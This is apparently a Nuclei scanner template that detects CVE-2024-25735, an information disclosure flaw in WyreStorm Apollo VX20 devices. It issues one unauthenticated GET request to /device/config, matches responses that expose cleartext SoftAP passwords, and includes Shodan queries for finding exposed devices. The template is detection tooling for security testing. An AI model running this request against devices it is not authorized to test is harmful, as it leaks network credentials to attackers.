id: CVE-2024-25735

info:
  name: WyreStorm Apollo VX20 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
  reference:
    - https://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
    - https://packetstormsecurity.com/files/cve/CVE-2024-25735
    - http://packetstormsecurity.com/files/177082
    - https://hyp3rlinx.altervista.org
    - https://github.com/codeb0ss/CVE-2024-25735-PoC
  classification:
    epss-score: 0.90595
    epss-percentile: 0.99530
  metadata:
    verified: true
    max-request: 1
    vendor: wyrestorm
    product: apollo vx20
    shodan-query:
      - ssl:"WyreStorm Apollo VX20"
      - ssl:"wyrestorm apollo vx20"
  tags: packetstorm,cve,cve2024,wyrestorm,info-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/device/config"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"password":'
          - '"softAp":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d983c005ec8ac2a9fa7bfb2b0bcca67728ea8bb099b6bb5324a9792c940265c10220358d65fb17ee566be60c33e74bc389978e8f3e30c733d358b83a40f45c7495de:922c64590222798bb761d5b6d8e72950